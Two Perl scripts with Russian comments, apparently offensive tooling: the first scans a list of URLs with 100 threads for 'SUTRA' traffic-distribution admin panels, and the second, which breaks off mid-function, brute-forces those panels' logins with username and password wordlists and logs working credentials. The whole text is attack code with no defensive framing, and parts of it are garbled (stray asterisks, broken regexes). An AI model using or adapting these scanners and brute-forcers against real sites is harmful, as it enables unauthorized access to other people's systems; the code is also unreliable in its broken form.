#!/usr/bin/perl
#Скрипт обрабатывает файл urls.txt и ищет рабочие админки сутры и сохраняет их в файл tds.txt
use strict;
use warnings;
use IO::Socket;
use threads;
open(TDS, ">tds.txt") or die("Cannot open file Socks List File or File isn\'t writable");
open(URLS, "urls.txt") or die("Cannot open file URL List File");
my $threads = 100; # количество потоков
my @list;
my @URLS = <URLS>;
close URLS;
while (@URLS){
my $idx=0;
my @trl;
while (@URLS && ($idx <= $threads)){
my $url = shift(@URLS);
chomp($url);
$trl[$idx]=threads->create(&check, $idx, $url);
$idx++;
undef($url);
}
for(@trl){ $_->join; }
}
sub check{
my $url = $_[1];
if ($$url =~ /http://(.+?)/(.+)$/i){
my $host = $1;
my $dir = '/'.$2;
if (my $socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$host", PeerPort => 80)){
$socket->autoflush(1);
print $socket "GET $dir HTTP/1.1\r\n";
print $socket "Host: $host\r\n";
print $socket "User-Agent: Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5\r\n";
print $socket "Accept: text/html\r\n";
print $socket "Connection: close\r\n\r\n";
my $answer;
$socket->recv($answer, 2048);
close($socket);
if ($answer =~ /SUTRA/i){
print "[+]".$$url."\n";
print TDS "$$url\n";
}
undef($answer);
undef($$url);
undef($host);
undef($dir);
}
}
}
close TDS;
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
use threads;
my $url * * *= $ARGV[0] || 'adms.txt'; # Файл с сылками для брута
my $user * * = $ARGV[1] || 'users.txt'; # Файл с именами пользователей
my $pass * * = $ARGV[2] || 'pass.txt'; # Файл с паролями
my $good * * = $ARGV[3] || 'good.txt'; # Файл куда будут сохранять хорошие пароли
my $logfile *= $ARGV[4] || 'log.txt'; # Файл куда будет писаться лог брута
my $threads *= $ARGV[5]; *# Количество потоков для брута
open(URLS, "$url") or die("Cannot open file Urls List File: $url");
open(USERS, "$user") or die("Cannot open file Users List File: $user");
open(PASSWORDS, "$pass") or die("Cannot open file Password List File: $pass");
open(GOODS, ">>$good") or die("Cannot open file Goos List File or File isn\'t writable: $good");
open(LOGS, ">>$logfile") or die("Cannot open file Log List File or File isn\'t writable: $logfile");
if (!$threads){ $threads=100;}
my @URLS = <URLS>; # массив с ссылками для брута
my @USERS = <USERS>; # массив с именнами пользователей
my @PASSWORDS = <PASSWORDS>; # массив с паролями
close URLS;
close USERS;
close PASSWORDS;
while (@PASSWORDS){
my $idx=0;
my @trl;
while (@PASSWORDS && ($idx <= $threads)){
my $pass = shift (@PASSWORDS);
chomp($pass);
my $len = length($pass);
if ($len > 5){
foreach my $user (@USERS){
chomp($user);
foreach my $url (@URLS){
chomp($url);
$trl[$idx]=threads->create(&brut, $idx, $url, $user, $pass);
$idx++;
}
}
}
undef($pass);
}
for(@trl){
my $url = $_->join;
if ($url){
my @URLS = grep(!$$url, @URLS);
undef($$url);
}
}
}
sub brut{
my $url = $_[1]; # Получает url для брута
my $user = $_[2]; # Получаем имя пользователя
my $pass = $_[3]; # Получаем пароль
my $post = "user=$$user&pass=$$pass&lng=en&";
my $len=length($post);
$len+=1;
$$url =~ /^http://(.+?)/(.+)$/i;
my $host = $1;
my $dir = '/'.$2.'?m=login';
if (my $socket = IO::Socket::INET->new(Proto => "tcp", Timeout => "1", PeerAddr => "$host", PeerPort => 80)){
$socket->autoflush(1);